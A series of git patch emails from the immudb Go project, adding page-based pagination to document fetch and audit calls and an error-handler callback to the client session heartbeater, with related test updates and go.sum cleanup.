github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= @@ -626,7 +611,6 @@ github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnIn github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE= -github.com/spf13/viper v1.8.1/go.mod h1:o0Pch8wJ9BVSWGQMbra6iw0oQ5oktSIBaujf1rJH9Ns= github.com/spf13/viper v1.12.0 h1:CZ7eSOd3kZoaYDLbXnmzgQI5RlciuXBMA+18HwHRfZQ= github.com/spf13/viper v1.12.0/go.mod h1:b6COn30jlNxbm/V2IqWiNWkJ+vZNiMNksliPCiuKtSI= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= @@ -665,11 +649,8 @@ github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1 github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= -go.etcd.io/etcd/api/v3 v3.5.0/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs= go.etcd.io/etcd/api/v3 v3.5.4/go.mod h1:5GB2vv4A4AOn3yk7MftYGHkUfGtDHnEraIjym4dYz5A= -go.etcd.io/etcd/client/pkg/v3 v3.5.0/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= go.etcd.io/etcd/client/pkg/v3 v3.5.4/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= -go.etcd.io/etcd/client/v2 v2.305.0/go.mod h1:h9puh54ZTgAKtEbut2oe9P4L/oqKCVB6xsXlzd7alYQ= go.etcd.io/etcd/client/v2 v2.305.4/go.mod h1:Ud+VUwIi9/uQHOMA+4ekToJ12lTxlv0zB/+DHwTGEbU= go.etcd.io/etcd/client/v3 v3.5.4/go.mod h1:ZaRkVgBZC+L+dLCjTcF1hRXpgZXQPOvnA/Ak/gq3kiY= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= @@ -697,7 +678,6 @@ go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE= golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= @@ -755,9 +735,7 @@ golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVD golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -819,7 +797,6 @@ golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210402161424-2e8d93401602/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= @@ -974,7 +951,6 @@ golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= @@ -1045,7 +1021,6 @@ google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34q google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= -google.golang.org/api v0.44.0/go.mod h1:EBOGZqzyhtvMDoxwS97ctnh0zUmYY6CxqXsc1AvkYD8= google.golang.org/api v0.47.0/go.mod h1:Wbvgpq1HddcWVtzsVLyfLp8lDg6AA241LmgIL59tHXo= google.golang.org/api v0.48.0/go.mod h1:71Pr1vy+TAZRPkPs/xlCf5SsU8WjuAWv1Pfjbtukyy4= google.golang.org/api v0.50.0/go.mod h1:4bNT5pAuq5ji4SRZm+5QIkjny9JAyVD/3gaSihNefaw= @@ -1209,7 +1184,6 @@ gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= From 868f78291721e5b230651942901c4c6bd31eabbb Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 24 Mar 2023 14:53:25 +0530 Subject: [PATCH 0374/1062] chore: add pagination support when fetching documents --- embedded/document/engine.go | 27 ++++++++++++++++---------- embedded/document/engine_test.go | 12 ++++++++++-- embedded/sql/stmt.go | 8 +++++--- pkg/database/document_database.go | 13 +++++++++++-- pkg/database/document_database_test.go | 2 ++ pkg/server/documents_operations.go | 9 +++++++-- pkg/truncator/truncator_test.go | 2 +- 7 files changed, 53 insertions(+), 20 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index ed9cc978f3..5b594c12b6 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -4,7 +4,6 @@ import ( "bytes" "context" "encoding/binary" - "errors" "fmt" "github.com/codenotary/immudb/embedded/sql" @@ -339,16 +338,24 @@ func (d *Engine) getCollectionSchema(ctx context.Context, collection string) (ma return table.ColsByName(), nil } -func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries []*Query, maxResultSize int) ([]*structpb.Struct, error) { +func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries []*Query, pageNum int, itemsPerPage int) ([]*structpb.Struct, error) { exp, err := d.generateExp(ctx, collectionName, queries) if err != nil { return nil, err } + offset := (pageNum - 1) * itemsPerPage + limit := itemsPerPage + if offset < 0 || limit < 1 { + return nil, fmt.Errorf("invalid offset or limit") + } + op := sql.NewSelectStmt( d.CurrentDatabase(), collectionName, exp, + limit, + offset, ) r, err := d.QueryPreparedStmt(ctx, nil, op, nil) @@ -383,12 +390,6 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries document.Fields[colDescriptors[i].Column] = vtype } results = append(results, document) - - if l == maxResultSize { - return nil, fmt.Errorf("%w: found at least %d documents (the maximum limit). "+ - "Query constraints can be applied using the LIMIT clause", - errors.New("result size limit reached"), maxResultSize) - } } return results, nil @@ -400,7 +401,13 @@ type Audit struct { } // DocumentAudit returns the audit history of a document. -func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, maxCount int) ([]*Audit, error) { +func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*Audit, error) { + offset := (pageNum - 1) * itemsPerPage + limit := itemsPerPage + if offset < 0 || limit < 1 { + return nil, fmt.Errorf("invalid offset or limit") + } + tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err @@ -439,7 +446,7 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum pkEncVals, ) - txs, _, err := d.GetStore().History(searchKey, 0, false, maxCount) + txs, _, err := d.GetStore().History(searchKey, uint64(offset), false, limit) if err != nil { return nil, err } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 59e6e45fea..6e4703f8d3 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -186,7 +186,15 @@ func TestGetDocument(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 10) + // invalid page number + _, err = engine.GetDocument(context.Background(), collectionName, expressions, 0, 10) + require.Error(t, err) + + // invalid page limit + _, err = engine.GetDocument(context.Background(), collectionName, expressions, 1, 0) + require.Error(t, err) + + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 10) require.NoError(t, err) require.Equal(t, 1, len(doc)) } @@ -217,7 +225,7 @@ func TestDocumentAudit(t *testing.T) { require.NoError(t, err) // get document audit - res, err := engine.DocumentAudit(context.Background(), collectionName, docID, 10) + res, err := engine.DocumentAudit(context.Background(), collectionName, docID, 1, 10) require.NoError(t, err) require.Equal(t, 1, len(res)) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 91a15eaa3d..2f08a5da83 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2118,11 +2118,13 @@ type DataSource interface { Alias() string } -func NewSelectStmt(db string, table string, where ValueExp) *SelectStmt { +func NewSelectStmt(db string, table string, where ValueExp, limit int, offset int) *SelectStmt { tableref := newTableRef(db, table, "") return &SelectStmt{ - ds: tableref, - where: where, + ds: tableref, + where: where, + limit: limit, + offset: offset, } } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index e68c51b8e8..49ecaf6e7b 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -115,7 +115,11 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques Value: q.Value, }) } - results, err := d.documentEngine.GetDocument(ctx, req.Collection, queries, d.maxResultSize) + if req.Page < 1 || req.PerPage < 1 { + return nil, fmt.Errorf("invalid offset or limit") + } + + results, err := d.documentEngine.GetDocument(ctx, req.Collection, queries, int(req.Page), int(req.PerPage)) if err != nil { return nil, err } @@ -158,7 +162,12 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque if err != nil { return nil, fmt.Errorf("invalid document id: %v", err) } - historyLogs, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, int(req.PerPage)) + + if req.Page < 1 || req.PerPage < 1 { + return nil, fmt.Errorf("invalid offset or limit") + } + + historyLogs, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, int(req.Page), int(req.PerPage)) if err != nil { return nil, fmt.Errorf("error fetching document history: %v", err) } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index d682300138..6c724e41ef 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -83,6 +83,8 @@ func TestObjectDB_Collection(t *testing.T) { // query collection for document docs, err := db.GetDocument(context.Background(), &schemav2.DocumentSearchRequest{ Collection: collectionName, + Page: 1, + PerPage: 10, Query: []*schemav2.DocumentQuery{ { Field: "pincode", diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 3674a00998..1d5d8a4731 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -93,11 +93,16 @@ func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentschema.C // TODO: implement func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentschema.DocumentAuditRequest) (*documentschema.DocumentAuditResponse, error) { - _, err := s.getDBFromCtx(ctx, "DocumentAudit") + db, err := s.getDBFromCtx(ctx, "DocumentAudit") if err != nil { return nil, err } - return nil, nil + resp, err := db.DocumentAudit(ctx, req) + if err != nil { + return nil, err + } + + return resp, nil } // TODO: implement diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 6b813c3f8f..b1725fc14e 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -86,7 +86,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { require.NoError(t, err) // TODO: hard to determine the actual transaction up to which the database was truncated. - for i := uint64(1); i < hdr.ID-2; i++ { + for i := uint64(1); i < 5; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), From c518256a019c335b836c3138bc5c78c35c8030d2 Mon Sep 17 00:00:00 2001 From: marcosQuesada Date: Thu, 6 Oct 2022 10:26:56 +0200 Subject: [PATCH 0375/1062] fix heartbeater keepAlive context, add errorHandler to notify upper layers on keepAlive error --- pkg/client/client.go | 3 +++ pkg/client/heartbeater/heartbeater.go | 9 ++++++++- pkg/client/session.go | 2 +- pkg/client/types.go | 5 +++++ 4 files changed, 17 insertions(+), 2 deletions(-) diff --git a/pkg/client/client.go b/pkg/client/client.go index 2dcd44ff8d..ed2aa79e4b 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -518,6 +518,8 @@ type ImmuClient interface { const DefaultDB = "defaultdb" +type ErrorHandler func(sessionID string, err error) + type immuClient struct { Dir string Logger logger.Logger @@ -530,6 +532,7 @@ type immuClient struct { StreamServiceFactory stream.ServiceFactory SessionID string HeartBeater heartbeater.HeartBeater + errorHandler ErrorHandler } // Ensure immuClient implements the ImmuClient interface diff --git a/pkg/client/heartbeater/heartbeater.go b/pkg/client/heartbeater/heartbeater.go index 0dffd96b86..16f9151bd7 100644 --- a/pkg/client/heartbeater/heartbeater.go +++ b/pkg/client/heartbeater/heartbeater.go @@ -22,6 +22,7 @@ import ( "time" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/logger" "github.com/golang/protobuf/ptypes/empty" ) @@ -32,6 +33,7 @@ type heartBeater struct { serviceClient schema.ImmuServiceClient done chan struct{} t *time.Ticker + errorHandler client.ErrorHandler } type HeartBeater interface { @@ -39,13 +41,14 @@ type HeartBeater interface { Stop() } -func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration) *heartBeater { +func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration, h client.ErrorHandler) *heartBeater { return &heartBeater{ sessionID: sessionID, logger: logger.NewSimpleLogger("immuclient", stdos.Stdout), serviceClient: sc, done: make(chan struct{}), t: time.NewTicker(keepAliveInterval), + errorHandler: h, } } @@ -61,6 +64,10 @@ func (hb *heartBeater) KeepAlive(ctx context.Context) { err := hb.keepAliveRequest(ctx) if err != nil { hb.logger.Errorf("an error occurred on keep alive %s at %s: %v\n", hb.sessionID, t.String(), err) + if hb.errorHandler == nil { + continue + } + hb.errorHandler(hb.sessionID, err) } } } diff --git a/pkg/client/session.go b/pkg/client/session.go index 9a1e766e90..1a76d38855 100644 --- a/pkg/client/session.go +++ b/pkg/client/session.go @@ -80,7 +80,7 @@ func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, c.Options.DialOptions = dialOptions c.SessionID = resp.GetSessionID() - c.HeartBeater = heartbeater.NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency) + c.HeartBeater = heartbeater.NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency, c.errorHandler) c.HeartBeater.KeepAlive(context.Background()) c.WithStateService(stateService) diff --git a/pkg/client/types.go b/pkg/client/types.go index 74632a303f..25c12cec2a 100644 --- a/pkg/client/types.go +++ b/pkg/client/types.go @@ -75,3 +75,8 @@ func (c *immuClient) WithOptions(options *Options) *immuClient { c.Options = options return c } + +func (c *immuClient) WithErrorHandler(handler ErrorHandler) *immuClient { + c.errorHandler = handler + return c +} From fee76be31acbab245929a220bc5de259abf573ac Mon Sep 17 00:00:00 2001 From: marcosQuesada Date: Thu, 6 Oct 2022 10:38:37 +0200 Subject: [PATCH 0376/1062] include panic error handler on heartbeater keepAlive failure --- pkg/client/client.go | 1 + pkg/client/session.go | 11 +++++++++++ 2 files changed, 12 insertions(+) diff --git a/pkg/client/client.go b/pkg/client/client.go index ed2aa79e4b..4a95d89f43 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -622,6 +622,7 @@ func NewImmuClient(options *Options) (*immuClient, error) { } c.WithStateService(stateService) + c.WithErrorHandler(c.keepAliveErrorHandler) return c, nil } diff --git a/pkg/client/session.go b/pkg/client/session.go index 1a76d38855..c0c9a36a7d 100644 --- a/pkg/client/session.go +++ b/pkg/client/session.go @@ -3,12 +3,14 @@ package client import ( "context" "fmt" + "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/pkg/client/heartbeater" "github.com/codenotary/immudb/pkg/client/state" + "github.com/codenotary/immudb/pkg/server/sessions" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/pkg/stream" "github.com/golang/protobuf/ptypes/empty" @@ -84,6 +86,7 @@ func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, c.HeartBeater.KeepAlive(context.Background()) c.WithStateService(stateService) + c.WithErrorHandler(c.keepAliveErrorHandler) c.Options.CurrentDatabase = database @@ -123,3 +126,11 @@ func (c *immuClient) CloseSession(ctx context.Context) error { func (c *immuClient) GetSessionID() string { return c.SessionID } + +func (c *immuClient) keepAliveErrorHandler(sessionID string, err error) { + if err != sessions.ErrSessionNotFound && err != ErrNotConnected && !strings.Contains(err.Error(), "session not found") { + c.Logger.Errorf("heartbeater KeepAlive error, sessionID %s error %v", sessionID, err) + + panic(fmt.Errorf("heartbeater KeepAlive error, sessionID %s error %v", sessionID, err)) + } +} From b700fb481649d7ec6fc735004274e84f6aa5ec99 Mon Sep 17 00:00:00 2001 From: marcosQuesada Date: Thu, 6 Oct 2022 10:44:55 +0200 Subject: [PATCH 0377/1062] fix import cycle loop --- pkg/client/client.go | 5 +---- pkg/client/heartbeater/heartbeater.go | 7 ++++--- pkg/client/session.go | 4 ++-- pkg/client/types.go | 3 ++- 4 files changed, 9 insertions(+), 10 deletions(-) diff --git a/pkg/client/client.go b/pkg/client/client.go index 4a95d89f43..596c52758e 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -518,8 +518,6 @@ type ImmuClient interface { const DefaultDB = "defaultdb" -type ErrorHandler func(sessionID string, err error) - type immuClient struct { Dir string Logger logger.Logger @@ -532,7 +530,7 @@ type immuClient struct { StreamServiceFactory stream.ServiceFactory SessionID string HeartBeater heartbeater.HeartBeater - errorHandler ErrorHandler + errorHandler heartbeater.ErrorHandler } // Ensure immuClient implements the ImmuClient interface @@ -622,7 +620,6 @@ func NewImmuClient(options *Options) (*immuClient, error) { } c.WithStateService(stateService) - c.WithErrorHandler(c.keepAliveErrorHandler) return c, nil } diff --git a/pkg/client/heartbeater/heartbeater.go b/pkg/client/heartbeater/heartbeater.go index 16f9151bd7..38a80efd22 100644 --- a/pkg/client/heartbeater/heartbeater.go +++ b/pkg/client/heartbeater/heartbeater.go @@ -22,18 +22,19 @@ import ( "time" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/logger" "github.com/golang/protobuf/ptypes/empty" ) +type ErrorHandler func(sessionID string, err error) + type heartBeater struct { sessionID string logger logger.Logger serviceClient schema.ImmuServiceClient done chan struct{} t *time.Ticker - errorHandler client.ErrorHandler + errorHandler ErrorHandler } type HeartBeater interface { @@ -41,7 +42,7 @@ type HeartBeater interface { Stop() } -func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration, h client.ErrorHandler) *heartBeater { +func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration, h ErrorHandler) *heartBeater { return &heartBeater{ sessionID: sessionID, logger: logger.NewSimpleLogger("immuclient", stdos.Stdout), diff --git a/pkg/client/session.go b/pkg/client/session.go index c0c9a36a7d..a028579ad5 100644 --- a/pkg/client/session.go +++ b/pkg/client/session.go @@ -82,11 +82,11 @@ func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, c.Options.DialOptions = dialOptions c.SessionID = resp.GetSessionID() + c.WithErrorHandler(c.keepAliveErrorHandler) c.HeartBeater = heartbeater.NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency, c.errorHandler) c.HeartBeater.KeepAlive(context.Background()) c.WithStateService(stateService) - c.WithErrorHandler(c.keepAliveErrorHandler) c.Options.CurrentDatabase = database @@ -128,7 +128,7 @@ func (c *immuClient) GetSessionID() string { } func (c *immuClient) keepAliveErrorHandler(sessionID string, err error) { - if err != sessions.ErrSessionNotFound && err != ErrNotConnected && !strings.Contains(err.Error(), "session not found") { + if err == sessions.ErrSessionNotFound || err == ErrNotConnected || strings.Contains(err.Error(), "session not found") { c.Logger.Errorf("heartbeater KeepAlive error, sessionID %s error %v", sessionID, err) panic(fmt.Errorf("heartbeater KeepAlive error, sessionID %s error %v", sessionID, err)) diff --git a/pkg/client/types.go b/pkg/client/types.go index 25c12cec2a..97eb3f5625 100644 --- a/pkg/client/types.go +++ b/pkg/client/types.go @@ -19,6 +19,7 @@ package client import ( "crypto/ecdsa" + "github.com/codenotary/immudb/pkg/client/heartbeater" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/stream" @@ -76,7 +77,7 @@ func (c *immuClient) WithOptions(options *Options) *immuClient { return c } -func (c *immuClient) WithErrorHandler(handler ErrorHandler) *immuClient { +func (c *immuClient) WithErrorHandler(handler heartbeater.ErrorHandler) *immuClient { c.errorHandler = handler return c } From f69adced34bc06a5102efc6933dba2c34f93112c Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 13 Mar 2023 14:35:07 +0530 Subject: [PATCH 0378/1062] chore: address review comment --- pkg/client/heartbeater/heartbeater.go | 9 ++++----- pkg/client/session.go | 11 ----------- 2 files changed, 4 insertions(+), 16 deletions(-) diff --git a/pkg/client/heartbeater/heartbeater.go b/pkg/client/heartbeater/heartbeater.go index 38a80efd22..bb107c2dcd 100644 --- a/pkg/client/heartbeater/heartbeater.go +++ b/pkg/client/heartbeater/heartbeater.go @@ -42,14 +42,14 @@ type HeartBeater interface { Stop() } -func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration, h ErrorHandler) *heartBeater { +func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration, errhandler ErrorHandler) *heartBeater { return &heartBeater{ sessionID: sessionID, logger: logger.NewSimpleLogger("immuclient", stdos.Stdout), serviceClient: sc, done: make(chan struct{}), t: time.NewTicker(keepAliveInterval), - errorHandler: h, + errorHandler: errhandler, } } @@ -65,10 +65,9 @@ func (hb *heartBeater) KeepAlive(ctx context.Context) { err := hb.keepAliveRequest(ctx) if err != nil { hb.logger.Errorf("an error occurred on keep alive %s at %s: %v\n", hb.sessionID, t.String(), err) - if hb.errorHandler == nil { - continue + if hb.errorHandler != nil { + hb.errorHandler(hb.sessionID, err) } - hb.errorHandler(hb.sessionID, err) } } } diff --git a/pkg/client/session.go b/pkg/client/session.go index a028579ad5..1a76d38855 100644 --- a/pkg/client/session.go +++ b/pkg/client/session.go @@ -3,14 +3,12 @@ package client import ( "context" "fmt" - "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/pkg/client/heartbeater" "github.com/codenotary/immudb/pkg/client/state" - "github.com/codenotary/immudb/pkg/server/sessions" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/pkg/stream" "github.com/golang/protobuf/ptypes/empty" @@ -82,7 +80,6 @@ func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, c.Options.DialOptions = dialOptions c.SessionID = resp.GetSessionID() - c.WithErrorHandler(c.keepAliveErrorHandler) c.HeartBeater = heartbeater.NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency, c.errorHandler) c.HeartBeater.KeepAlive(context.Background()) @@ -126,11 +123,3 